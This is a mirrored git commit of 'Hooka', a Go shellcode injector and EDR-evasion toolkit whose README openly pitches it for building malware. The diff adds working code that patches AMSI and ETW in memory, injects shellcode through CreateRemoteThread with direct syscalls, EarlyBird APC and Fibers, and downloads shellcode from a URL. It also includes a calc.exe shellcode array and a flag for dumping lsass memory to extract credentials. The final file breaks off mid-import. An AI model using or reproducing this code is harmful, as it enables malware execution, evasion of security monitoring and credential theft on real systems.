mirror of
https://github.com/D3Ext/Hooka
synced 2026-06-08 10:49:57 +00:00
initial commit
This commit is contained in:
@@ -1,10 +1,11 @@
|
||||
<p align="center">
|
||||
<h1 align="center">Hooka</h1>
|
||||
<p align="center">~ Windows hooks detector and shellcode injector written in Golang ~</p>
|
||||
<p align="center">~ Shellcode injector, hooks detector and more written in Golang ~</p>
|
||||
</p>
|
||||
|
||||
<p align="center">
|
||||
<a href="#introduction">Introduction</a> •
|
||||
<a href="#features">Features</a> •
|
||||
<a href="#usage">Usage</a> •
|
||||
<a href="#library">Library</a> •
|
||||
<a href="#contributing">Contributing</a> •
|
||||
@@ -13,86 +14,210 @@
|
||||
|
||||
# Introduction
|
||||
|
||||
I started this project
|
||||
I started this project to create a powerful shellcode injector with a lot of malleable capabilities via CLI flags like detecting hooked functions, using Hells Gate technique and more. Why in Golang? Because it's a great language to develop malware and this project can help with it by providing an stable API with some functions which can be really useful.
|
||||
|
||||
There's not to much info about detecting Windows hooks in ***Golang*** so I decided to try by my own and I've also taken some code from [BananaPhone]() project (thanks a lot to ***C-Sto***)
|
||||
There isn't too much info about detecting Windows hooks in ***Golang*** so I decided to try by my own. However I've also taken some code from [BananaPhone](https://github.com/C-Sto/BananaPhone) and [Doge-Gabh](https://github.com/timwhitez/Doge-Gabh) projects (thanks a lot to ***C-Sto*** and ***timwhitez***)
|
||||
|
||||
# Features
|
||||
|
||||
- Inject shellcode from remote URL or local file
|
||||
- Shellcode reflective DLL injection (***sRDI***)
|
||||
- ***AMSI*** and ***ETW*** patch
|
||||
- Detects hooked functions (i.e. CreateRemoteThread)
|
||||
- Compatible with base64 and hex encoded shellcode
|
||||
- Hell's Gate technique
|
||||
- Capable of unhooking functions
|
||||
- Multiple shellcode injection techniques:
|
||||
- CreateRemoteThread
|
||||
- Fibers
|
||||
- OpenProcess
|
||||
- EarlyBirdAPC
|
||||
|
||||
- Dump lsass.exe process to a file
|
||||
- Windows API hashing (see [here](https://www.ired.team/offensive-security/defense-evasion/windows-api-hashing-in-malware))
|
||||
- Test mode (injects a calc.exe shellcode)
|
||||
|
||||
# Usage
|
||||
|
||||
You just have to clone the repository like this:
|
||||
Before using the project you should know that there are some functions from `ntdll.dll` that aren't usually hooked but they always appear to be hooked. Here you have all false positives:
|
||||
|
||||
```
|
||||
NtGetTickCount
|
||||
NtQuerySystemTime
|
||||
NtdllDefWindowProc_A
|
||||
NtdllDefWindowProc_W
|
||||
NtdllDialogWndProc_A
|
||||
NtdllDialogWndProc_W
|
||||
ZwQuerySystemTime
|
||||
```
|
||||
|
||||
Just clone the repository like this:
|
||||
|
||||
```sh
|
||||
git clone https://github.com/D3Ext/Hooka
|
||||
```
|
||||
|
||||
```
|
||||
```
|
||||
|
||||
> Detect hooked functions by EDR
|
||||
> Detect hooked functions by EDR (including false positives)
|
||||
```sh
|
||||
.\Hooka.exe --hooks
|
||||
```
|
||||
|
||||
> Test shellcode injection by spawning a calc.exe
|
||||
```sh
|
||||
.\Hooka.exe --test
|
||||
```
|
||||
|
||||
If no technique is especified it will use a random one
|
||||
|
||||
> Inject shellcode from URL
|
||||
```sh
|
||||
.\Hooka.exe --inject CreateRemoteThread --url http://192.168.116.37/shellcode.bin
|
||||
.\Hooka.exe -t CreateRemoteThread --url http://192.168.116.37/shellcode.bin
|
||||
```
|
||||
|
||||
> Inject shellcode from file
|
||||
```sh
|
||||
.\Hooka.exe --inject Fibers --file shellcode.bin
|
||||
.\Hooka.exe -t Fibers --file shellcode.bin
|
||||
```
|
||||
|
||||
> Inject shellcode using Hell's Gate
|
||||
```sh
|
||||
.\Hooka.exe --inject CreateRemoteThread --url http://192.168.116.37/shellcode.bin --hells
|
||||
.\Hooka.exe --url http://192.168.116.37/shellcode.bin --hells
|
||||
```
|
||||
|
||||
> Unhook function before injecting shellcode
|
||||
```sh
|
||||
.\Hooka.exe -t OpenProcess --file shellcode.bin --unhook
|
||||
```
|
||||
|
||||
# Demo
|
||||
|
||||
> Detecting hooks
|
||||
<img src="">
|
||||
<img src="assets/hooks.png">
|
||||
|
||||
> Injecting shellcode via CreateRemoteThread
|
||||
<img src="">
|
||||
<img src="assets/test.png">
|
||||
|
||||
> Test function
|
||||
<img src="assets/test.png">
|
||||
|
||||
> Dump lsass memory
|
||||
<img src="assets/lsass.png">
|
||||
|
||||
# TODO
|
||||
|
||||
:black_square_button: Stable API for CLR functions
|
||||
|
||||
:black_square_button: More injection techniques
|
||||
|
||||
:black_square_button: Better error handling
|
||||
|
||||
# Library
|
||||
|
||||
If you're looking to implement any function in your malware you can do it using the official library API:
|
||||
If you're looking to implement any function in your malware you can do it using the official package API:
|
||||
|
||||
> First of all download the package
|
||||
```sh
|
||||
go get github.com/D3Ext/Hooka/pkg
|
||||
go get github.com/D3Ext/Hooka/pkg/hooka
|
||||
```
|
||||
|
||||
|
||||
> Detect hooked functions (including false positives)
|
||||
```go
|
||||
...
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
|
||||
"github.com/D3Ext/Hooka/pkg/hooka"
|
||||
)
|
||||
|
||||
...
|
||||
func main(){
|
||||
// Returns all hooked functions
|
||||
hooks, err := hooka.DetectHooks() // func DetectHooks() ([]string, error) {}
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
fmt.Println(hooks)
|
||||
|
||||
// Check if an especific function is hooked
|
||||
check, err := hooka.IsHooked("CreateRemoteThread") // func IsHooked(funcname string) (bool, error) {}
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
fmt.Println(check) // true or false
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
> Resolve syscalls via API hashing
|
||||
```go
|
||||
...
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
|
||||
"github.com/D3Ext/Hooka/pkg/hooka"
|
||||
)
|
||||
|
||||
...
|
||||
func main(){
|
||||
|
||||
// = CreateRemoteThread
|
||||
proc, err := hooka.FuncFromHash("") // Returns a pointer to function like NewProc()
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
|
||||
proc.Call()
|
||||
|
||||
...
|
||||
}
|
||||
```
|
||||
|
||||
> Apply AMSI and ETW patch
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
|
||||
"github.com/D3Ext/Hooka/pkg/hooka"
|
||||
)
|
||||
|
||||
func main(){
|
||||
// Amsi bypass
|
||||
err := hooka.PatchAmsi(0) // Use 0 for own process
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
fmt.Println("AMSI bypassed!")
|
||||
|
||||
// ETW bypass
|
||||
err = hooka.PatchEtw()
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
fmt.Println("ETW bypassed!")
|
||||
}
|
||||
```
|
||||
|
||||
> Unhook a function
|
||||
```go
|
||||
package main
|
||||
```
|
||||
|
||||
# Contributing
|
||||
|
||||
Do you wanna improve the code with any idea or code optimization? You're in the right place
|
||||
|
||||
See [CONTRIBUTING.md]()
|
||||
See [CONTRIBUTING.md](https://github.com/D3Ext/Hooka/blob/main/CONTRIBUTING.md)
|
||||
|
||||
# References
|
||||
|
||||
```
|
||||
https://github.com/C-Sto/BananaPhone
|
||||
https://github.com/timwhitez/Doge-Gabh
|
||||
https://github.com/Ne0nd0g/go-shellcode
|
||||
https://www.ired.team/offensive-security/defense-evasion/detecting-hooked-syscall-functions#checking-for-hooks
|
||||
https://github.com/Kara-4search/HookDetection_CSharp
|
||||
https://teamhydra.blog/2020/09/18/implementing-direct-syscalls-using-hells-gate/
|
||||
@@ -106,7 +231,7 @@ Use this project under your own responsability!
|
||||
|
||||
# License
|
||||
|
||||
This project is licensed under [MIT]() license
|
||||
This project is licensed under [MIT](https://github.com/D3Ext/Hooka/blob/main/LICENSE) license
|
||||
|
||||
Copyright © 2023, *D3Ext*
|
||||
|
||||
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 679 KiB |
@@ -0,0 +1,83 @@
|
||||
package core
|
||||
|
||||
/*
|
||||
|
||||
References:
|
||||
|
||||
|
||||
*/
|
||||
|
||||
import (
|
||||
//"errors"
|
||||
"fmt"
|
||||
"time"
|
||||
"unsafe"
|
||||
"syscall"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
var amsi_patch = []byte{0xc3}
|
||||
|
||||
func PatchAmsi(pid int) (error) {
|
||||
|
||||
amsidll := syscall.NewLazyDLL("amsi.dll") // Load DLLs
|
||||
kernel32 := syscall.NewLazyDLL("kernel32.dll")
|
||||
|
||||
amsiScanBuffer := amsidll.NewProc("AmsiScanBuffer")
|
||||
amsiScanString := amsidll.NewProc("AmsiScanString")
|
||||
amsiInitialize := amsidll.NewProc("AmsiInitialize")
|
||||
openProcess := kernel32.NewProc("OpenProcess")
|
||||
closeHandle := kernel32.NewProc("CloseHandle")
|
||||
getCurrentProcess := kernel32.NewProc("GetCurrentProcess")
|
||||
virtualProtectEx := kernel32.NewProc("VirtualProtectEx")
|
||||
writeProcessMemory := kernel32.NewProc("WriteProcessMemory")
|
||||
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
|
||||
var handle uintptr
|
||||
var err error
|
||||
|
||||
if (pid == 0) {
|
||||
handle, _, _ = getCurrentProcess.Call()
|
||||
} else {
|
||||
handle, _, _ = openProcess.Call(uintptr(0x1F0FFF), uintptr(0), uintptr(pid))
|
||||
}
|
||||
|
||||
addresses := []uintptr{
|
||||
amsiInitialize.Addr(),
|
||||
amsiScanBuffer.Addr(),
|
||||
amsiScanString.Addr(),
|
||||
}
|
||||
|
||||
var oldProtect uint32
|
||||
var old uint32
|
||||
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
|
||||
for _, addr := range addresses {
|
||||
|
||||
_, _, err = virtualProtectEx.Call(uintptr(handle), addr, uintptr(1), windows.PAGE_READWRITE, uintptr(unsafe.Pointer(&oldProtect)))
|
||||
if err != nil {
|
||||
fmt.Println("error virtualProtectEx")
|
||||
}
|
||||
|
||||
//writeProcessMemory.Call(uintptr(handle), addr, uintptr(unsafe.Pointer(&amsi_patch[0])), uintptr(len(amsi_patch)))
|
||||
r1, _, _ := writeProcessMemory.Call(uintptr(handle), addr, uintptr(unsafe.Pointer(&amsi_patch[0])), uintptr(len(amsi_patch)))
|
||||
if r1 == 0 {
|
||||
fmt.Println("error writeProcessMemory")
|
||||
}
|
||||
|
||||
//virtualProtectEx.Call(uintptr(handle), addr, uintptr(1), uintptr(oldProtect), uintptr(unsafe.Pointer(&old)))
|
||||
_, _, err = virtualProtectEx.Call(uintptr(handle), addr, uintptr(1), uintptr(oldProtect), uintptr(unsafe.Pointer(&old)))
|
||||
if err != nil {
|
||||
fmt.Println("error virtualProtectEx")
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
closeHandle.Call(handle)
|
||||
return nil
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,106 @@
|
||||
package core
|
||||
|
||||
import (
|
||||
"io"
|
||||
"os"
|
||||
"fmt"
|
||||
"time"
|
||||
"bytes"
|
||||
"net/http"
|
||||
"math/rand"
|
||||
"io/ioutil"
|
||||
"crypto/sha1"
|
||||
"encoding/binary"
|
||||
|
||||
// Third-party packages
|
||||
"github.com/Binject/debug/pe"
|
||||
)
|
||||
|
||||
const ntdllpath = "C:\\Windows\\System32\\ntdll.dll"
|
||||
const kernel32path = "C:\\Windows\\System32\\kernel32.dll"
|
||||
var HookCheck = []byte{0x4c, 0x8b, 0xd1, 0xb8} // Define hooked bytes to look for
|
||||
|
||||
type MayBeHookedError struct { // Define custom error for hooked functions
|
||||
Foundbytes []byte
|
||||
}
|
||||
|
||||
func (e MayBeHookedError) Error() string {
|
||||
return fmt.Sprintf("may be hooked: wanted %x got %x", HookCheck, e.Foundbytes)
|
||||
}
|
||||
|
||||
func RvaToOffset(pefile *pe.File, rva uint32) (uint32) {
|
||||
for _, hdr := range pefile.Sections {
|
||||
baseoffset := uint64(rva)
|
||||
if baseoffset > uint64(hdr.VirtualAddress) &&
|
||||
baseoffset < uint64(hdr.VirtualAddress+hdr.VirtualSize) {
|
||||
return rva - hdr.VirtualAddress + hdr.Offset
|
||||
}
|
||||
}
|
||||
return rva
|
||||
}
|
||||
|
||||
func CheckBytes(b []byte) (uint16, error) {
|
||||
if bytes.HasPrefix(b, HookCheck) == true { // Check syscall bytes
|
||||
return 0, MayBeHookedError{Foundbytes: b}
|
||||
}
|
||||
|
||||
return binary.LittleEndian.Uint16(b[4:8]), nil
|
||||
}
|
||||
|
||||
// Generate a random integer between range
|
||||
|
||||
func RandomInt(max int, min int) (int) { // Return a random number between max and min
|
||||
rand.Seed(time.Now().UnixNano())
|
||||
rand_int := rand.Intn(max - min + 1) + min
|
||||
return rand_int
|
||||
}
|
||||
|
||||
// Shellcode helper functions
|
||||
|
||||
func GetShellcodeFromUrl(sc_url string) ([]byte, error) { // Make request to URL return shellcode
|
||||
req, err := http.NewRequest("GET", sc_url, nil)
|
||||
if err != nil {
|
||||
return []byte(""), err
|
||||
}
|
||||
|
||||
req.Header.Set("Accept", "application/x-www-form-urlencoded")
|
||||
req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36")
|
||||
client := &http.Client{}
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
return []byte(""), err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
b, err := io.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return []byte(""), err
|
||||
}
|
||||
return b, nil
|
||||
}
|
||||
|
||||
func GetShellcodeFromFile(file string) ([]byte, error) { // Read given file and return content in bytes
|
||||
f, err := os.Open(file)
|
||||
if err != nil {
|
||||
return []byte(""), err
|
||||
}
|
||||
defer f.Close()
|
||||
|
||||
shellcode_bytes, err := ioutil.ReadAll(f)
|
||||
if err != nil {
|
||||
return []byte(""), err
|
||||
}
|
||||
|
||||
return shellcode_bytes, nil
|
||||
}
|
||||
|
||||
// Convert string to Sha1 (used for hashing)
|
||||
|
||||
func StrToSha1(str string) (string) {
|
||||
h := sha1.New()
|
||||
h.Write([]byte(str))
|
||||
bs := h.Sum(nil)
|
||||
return fmt.Sprintf("%x", bs)
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,15 @@
|
||||
package core
|
||||
|
||||
/*
|
||||
|
||||
This package defines calc.exe shellcode which is used in --test function
|
||||
|
||||
*/
|
||||
|
||||
func CalcShellcode() ([]byte) {
|
||||
return []byte{0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6a, 0x60, 0x5a, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x54, 0x59, 0x48, 0x83, 0xec, 0x28, 0x65, 0x48, 0x8b, 0x32, 0x48, 0x8b, 0x76, 0x18, 0x48, 0x8b, 0x76, 0x10, 0x48, 0xad, 0x48, 0x8b, 0x30, 0x48, 0x8b, 0x7e, 0x30, 0x3, 0x57, 0x3c, 0x8b, 0x5c, 0x17, 0x28, 0x8b, 0x74, 0x1f, 0x20, 0x48, 0x1, 0xfe, 0x8b, 0x54, 0x1f, 0x24, 0xf, 0xb7, 0x2c, 0x17, 0x8d, 0x52, 0x2, 0xad, 0x81, 0x3c, 0x7, 0x57, 0x69, 0x6e, 0x45, 0x75, 0xef, 0x8b, 0x74, 0x1f, 0x1c, 0x48, 0x1, 0xfe, 0x8b, 0x34, 0xae, 0x48, 0x1, 0xf7, 0x99, 0xff, 0xd7, 0x48, 0x83, 0xc4, 0x30, 0x5d, 0x5f, 0x5e, 0x5b, 0x5a, 0x59, 0x58, 0xc3}
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,104 @@
|
||||
package core
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"unsafe"
|
||||
"syscall"
|
||||
|
||||
// Third-party
|
||||
bap "github.com/C-Sto/BananaPhone/pkg/BananaPhone"
|
||||
|
||||
// Internal
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
func CreateThread(shellcode []byte, handle uintptr, NtAllocateVirtualMemorySysid, NtProtectVirtualMemorySysid, NtCreateThreadExSysid uint16) {
|
||||
const (
|
||||
thisThread = uintptr(0xffffffffffffffff)
|
||||
memCommit = uintptr(0x00001000)
|
||||
memreserve = uintptr(0x00002000)
|
||||
)
|
||||
|
||||
var baseA uintptr
|
||||
regionsize := uintptr(len(shellcode))
|
||||
r1, r := bap.Syscall(
|
||||
NtAllocateVirtualMemorySysid,
|
||||
handle,
|
||||
uintptr(unsafe.Pointer(&baseA)),
|
||||
0,
|
||||
uintptr(unsafe.Pointer(®ionsize)),
|
||||
uintptr(memCommit|memreserve),
|
||||
syscall.PAGE_READWRITE,
|
||||
)
|
||||
if r != nil {
|
||||
fmt.Printf("1 %s %x\n", r, r1)
|
||||
return
|
||||
}
|
||||
bap.WriteMemory(shellcode, baseA)
|
||||
|
||||
var oldprotect uintptr
|
||||
r1, r = bap.Syscall(
|
||||
NtProtectVirtualMemorySysid,
|
||||
handle,
|
||||
uintptr(unsafe.Pointer(&baseA)),
|
||||
uintptr(unsafe.Pointer(®ionsize)),
|
||||
syscall.PAGE_EXECUTE_READ,
|
||||
uintptr(unsafe.Pointer(&oldprotect)),
|
||||
)
|
||||
var hhosthread uintptr
|
||||
r1, r = bap.Syscall(
|
||||
NtCreateThreadExSysid,
|
||||
uintptr(unsafe.Pointer(&hhosthread)),
|
||||
0x1FFFFF,
|
||||
0,
|
||||
handle,
|
||||
baseA,
|
||||
0,
|
||||
uintptr(0),
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
)
|
||||
syscall.WaitForSingleObject(syscall.Handle(hhosthread), 0xffffffff)
|
||||
}
|
||||
|
||||
|
||||
func CreateRemoteThread(shellcode []byte) (error) {
|
||||
kernel32DLL := windows.NewLazySystemDLL("kernel32.dll")
|
||||
VirtualProtectEx := kernel32DLL.NewProc("VirtualProtectEx")
|
||||
|
||||
bp, e := bap.NewBananaPhone(bap.AutoBananaPhoneMode)
|
||||
if e != nil {
|
||||
return e
|
||||
}
|
||||
|
||||
mess, e := bp.GetFuncPtr("NtCreateThreadEx")
|
||||
if e != nil {
|
||||
return e
|
||||
}
|
||||
|
||||
oldProtect := windows.PAGE_EXECUTE_READ
|
||||
VirtualProtectEx.Call(uintptr(0xffffffffffffffff), uintptr(mess), uintptr(0x100), windows.PAGE_EXECUTE_READWRITE, uintptr(unsafe.Pointer(&oldProtect)))
|
||||
|
||||
bap.WriteMemory([]byte{0x90, 0x90, 0x4c, 0x8b, 0xd1, 0xb8, 0xc1, 0x00, 0x00, 0x00, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90}, uintptr(mess))
|
||||
|
||||
alloc, e := bp.GetSysID("NtAllocateVirtualMemory")
|
||||
if e != nil {
|
||||
return e
|
||||
}
|
||||
protect, e := bp.GetSysID("NtProtectVirtualMemory")
|
||||
if e != nil {
|
||||
return e
|
||||
}
|
||||
createthread, e := bp.GetSysID("NtCreateThreadEx")
|
||||
if e != nil {
|
||||
return e
|
||||
}
|
||||
|
||||
CreateThread(shellcode, uintptr(0xffffffffffffffff), alloc, protect, createthread)
|
||||
return nil
|
||||
}
|
||||
|
||||
|
||||
|
||||
+259
File diff suppressed because one or more lines are too long
@@ -0,0 +1,61 @@
|
||||
package core
|
||||
|
||||
import (
|
||||
"unsafe"
|
||||
"syscall"
|
||||
"fmt"
|
||||
"errors"
|
||||
|
||||
// Internal
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
func EarlyBirdApc(shellcode []byte) (error){
|
||||
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
|
||||
VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
|
||||
VirtualProtectEx := kernel32.NewProc("VirtualProtectEx")
|
||||
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
|
||||
QueueUserAPC := kernel32.NewProc("QueueUserAPC")
|
||||
|
||||
procInfo := &windows.ProcessInformation{}
|
||||
startupInfo := &windows.StartupInfo{
|
||||
Flags: windows.CREATE_SUSPENDED,
|
||||
}
|
||||
|
||||
errCreateProcess := windows.CreateProcess(syscall.StringToUTF16Ptr("C:\\Windows\\System32\\notepad.exe"), syscall.StringToUTF16Ptr(""), nil, nil, true, windows.CREATE_SUSPENDED, nil, nil, startupInfo, procInfo)
|
||||
if errCreateProcess != nil {
|
||||
return errors.New(fmt.Sprintf("[!] Error calling CreateProcess: %v", errCreateProcess.Error()))
|
||||
}
|
||||
|
||||
addr, _, _ := VirtualAllocEx.Call(uintptr(procInfo.Process), 0, uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
|
||||
|
||||
if addr == 0 {
|
||||
return errors.New("[!] VirtualAllocEx failed and returned 0")
|
||||
}
|
||||
|
||||
WriteProcessMemory.Call(uintptr(procInfo.Process), addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
|
||||
|
||||
oldProtect := windows.PAGE_READWRITE
|
||||
VirtualProtectEx.Call(uintptr(procInfo.Process), addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
|
||||
|
||||
QueueUserAPC.Call(addr, uintptr(procInfo.Thread), 0)
|
||||
|
||||
_, errResumeThread := windows.ResumeThread(procInfo.Thread)
|
||||
if errResumeThread != nil {
|
||||
return errors.New(fmt.Sprintf("[!] Error calling ResumeThread: %v", errResumeThread.Error()))
|
||||
}
|
||||
|
||||
errCloseProcHandle := windows.CloseHandle(procInfo.Process)
|
||||
if errCloseProcHandle != nil {
|
||||
return errCloseProcHandle
|
||||
}
|
||||
|
||||
errCloseThreadHandle := windows.CloseHandle(procInfo.Thread)
|
||||
if errCloseThreadHandle != nil {
|
||||
return errCloseThreadHandle
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
|
||||
+75
@@ -0,0 +1,75 @@
|
||||
package core
|
||||
|
||||
import (
|
||||
//"fmt"
|
||||
"unsafe"
|
||||
"syscall"
|
||||
"encoding/hex"
|
||||
)
|
||||
|
||||
var (
|
||||
ntdll = syscall.NewLazyDLL("ntdll.dll")
|
||||
|
||||
procWriteProcessMemory = syscall.NewLazyDLL("kernel32.dll").NewProc("WriteProcessMemory")
|
||||
|
||||
procEtwEventWrite = ntdll.NewProc("EtwEventWrite")
|
||||
procEtwEventWriteEx = ntdll.NewProc("EtwEventWriteEx")
|
||||
procEtwEventWriteFull = ntdll.NewProc("EtwEventWriteFull")
|
||||
procEtwEventWriteString = ntdll.NewProc("EtwEventWriteString")
|
||||
procEtwEventWriteTransfer = ntdll.NewProc("EtwEventWriteTransfer")
|
||||
)
|
||||
|
||||
func PatchEtw() (error) {
|
||||
handle := uintptr(0xffffffffffffffff)
|
||||
|
||||
dataAddr := []uintptr{
|
||||
procEtwEventWriteFull.Addr(),
|
||||
procEtwEventWrite.Addr(),
|
||||
procEtwEventWriteEx.Addr(),
|
||||
//procEtwEventWriteNoRegistration.Addr(),
|
||||
procEtwEventWriteString.Addr(),
|
||||
procEtwEventWriteTransfer.Addr(),
|
||||
}
|
||||
|
||||
for i, _ := range dataAddr {
|
||||
|
||||
data, _ := hex.DecodeString("4833C0C3")
|
||||
var nLength uintptr
|
||||
datalength := len(data)
|
||||
|
||||
WriteProcessMemory(
|
||||
handle,
|
||||
dataAddr[i],
|
||||
&data[0],
|
||||
uintptr(uint32(datalength)),
|
||||
&nLength,
|
||||
)
|
||||
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func WriteProcessMemory(hProcess uintptr, lpBaseAddress uintptr, lpBuffer *byte, nSize uintptr, lpNumberOfBytesWritten *uintptr) (error) {
|
||||
|
||||
r1, _, e1 := syscall.Syscall6(
|
||||
procWriteProcessMemory.Addr(),
|
||||
5,
|
||||
uintptr(hProcess),
|
||||
uintptr(lpBaseAddress),
|
||||
uintptr(unsafe.Pointer(lpBuffer)),
|
||||
uintptr(nSize),
|
||||
uintptr(unsafe.Pointer(lpNumberOfBytesWritten)),
|
||||
0,
|
||||
)
|
||||
|
||||
if r1 == 0 {
|
||||
if e1 == 0 {
|
||||
return e1
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,80 @@
|
||||
package core
|
||||
|
||||
/*
|
||||
|
||||
References:
|
||||
https://ired.team/offensive-security/code-injection-process-injection/executing-shellcode-with-createfiber
|
||||
https://github.com/Ne0nd0g/go-shellcode/blob/master/cmd/CreateFiber/main.go
|
||||
|
||||
*/
|
||||
|
||||
import (
|
||||
"unsafe"
|
||||
"errors"
|
||||
"fmt"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
const (
|
||||
// MEM_COMMIT is a Windows constant used with Windows API calls
|
||||
MEM_COMMIT = 0x1000
|
||||
|
||||
// MEM_RESERVE is a Windows constant used with Windows API calls
|
||||
MEM_RESERVE = 0x2000
|
||||
|
||||
// PAGE_EXECUTE_READ is a Windows constant used with Windows API calls
|
||||
PAGE_EXECUTE_READ = 0x20
|
||||
|
||||
// PAGE_READWRITE is a Windows constant used with Windows API calls
|
||||
PAGE_READWRITE = 0x04
|
||||
)
|
||||
|
||||
func Fibers(shellcode []byte) (error) {
|
||||
|
||||
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
|
||||
ntdll := windows.NewLazySystemDLL("ntdll.dll")
|
||||
|
||||
VirtualAlloc := kernel32.NewProc("VirtualAlloc")
|
||||
VirtualProtect := kernel32.NewProc("VirtualProtect")
|
||||
RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
|
||||
ConvertThreadToFiber := kernel32.NewProc("ConvertThreadToFiber")
|
||||
CreateFiber := kernel32.NewProc("CreateFiber")
|
||||
SwitchToFiber := kernel32.NewProc("SwitchToFiber")
|
||||
|
||||
fiberAddr, _, _ := ConvertThreadToFiber.Call() // Convert thread to fiber
|
||||
|
||||
// Allocate shellcode
|
||||
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)
|
||||
|
||||
if addr == 0 {
|
||||
return errors.New("VirtualAlloc failed and returned 0")
|
||||
}
|
||||
|
||||
// Copy shellcode to memory
|
||||
RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
|
||||
|
||||
oldProtect := PAGE_READWRITE
|
||||
// Change memory region to PAGE_EXECUTE_READ
|
||||
VirtualProtect.Call(addr, uintptr(len(shellcode)), PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
|
||||
|
||||
// Create fiber
|
||||
fiber, _, _ := CreateFiber.Call(0, addr, 0)
|
||||
|
||||
_, _, errSwitchToFiber := SwitchToFiber.Call(fiber)
|
||||
if errSwitchToFiber != nil {
|
||||
fmt.Println("errSwitchToFiber", errSwitchToFiber.Error())
|
||||
}
|
||||
|
||||
_, _, errSwitchToFiber2 := SwitchToFiber.Call(fiberAddr)
|
||||
if errSwitchToFiber2 != nil {
|
||||
fmt.Println("errSwitchToFiber2", errSwitchToFiber2.Error())
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,42 @@
|
||||
package core
|
||||
|
||||
/*
|
||||
|
||||
This package returns CLI flags with customizble options
|
||||
|
||||
*/
|
||||
|
||||
import (
|
||||
"flag"
|
||||
)
|
||||
|
||||
func ParseFlags() (string, string, string, string, bool, bool, bool, bool, bool, bool, string) {
|
||||
var sc_url string
|
||||
var sc_file string
|
||||
var dll_file string
|
||||
var technique string
|
||||
var hook_detect bool
|
||||
var hells bool
|
||||
var unhook bool
|
||||
var base64_flag bool
|
||||
var hex_flag bool
|
||||
var test_flag bool
|
||||
var lsass_flag string
|
||||
|
||||
flag.StringVar(&sc_url, "url", "", "remote shellcode url (e.g. http://192.168.1.37/shellcode.bin)")
|
||||
flag.StringVar(&sc_file, "file", "", "path to file where shellcode is stored")
|
||||
flag.StringVar(&dll_file, "dll", "", "path to DLL you want to inject with function name sepparated by comma (i.e. evil.dll,xyz)")
|
||||
flag.StringVar(&technique, "t", "", "shellcode injection technique: CreateRemoteThread, Fibers, OpenProcess, EarlyBirdApc (by default: random)")
|
||||
flag.BoolVar(&hook_detect, "hooks", false, "dinamically detect hooked functions by EDR")
|
||||
flag.BoolVar(&hells, "hells", false, "enable Hell's Gate technique to try to evade possible EDRs")
|
||||
flag.BoolVar(&unhook, "unhook", false, "overwrite syscall memory address to bypass EDR (if no function is hooked it doesn't do nothing)")
|
||||
flag.BoolVar(&base64_flag, "b64", false, "decode base64 encoded shellcode")
|
||||
flag.BoolVar(&hex_flag, "hex", false, "decode hex encoded shellcode")
|
||||
flag.BoolVar(&test_flag, "test", false, "test shellcode injection capabilities by spawning a calc.exe")
|
||||
flag.StringVar(&lsass_flag, "lsass", "", "dump lsass.exe process memory into a file to extract credentials (run as admin)")
|
||||
flag.Parse()
|
||||
|
||||
return sc_url, sc_file, dll_file, technique, hook_detect, hells, unhook, base64_flag, hex_flag, test_flag, lsass_flag // Return all param values
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,46 @@
|
||||
package core
|
||||
|
||||
/*
|
||||
|
||||
References:
|
||||
https://www.ired.team/offensive-security/defense-evasion/windows-api-hashing-in-malware
|
||||
|
||||
*/
|
||||
|
||||
import (
|
||||
"errors"
|
||||
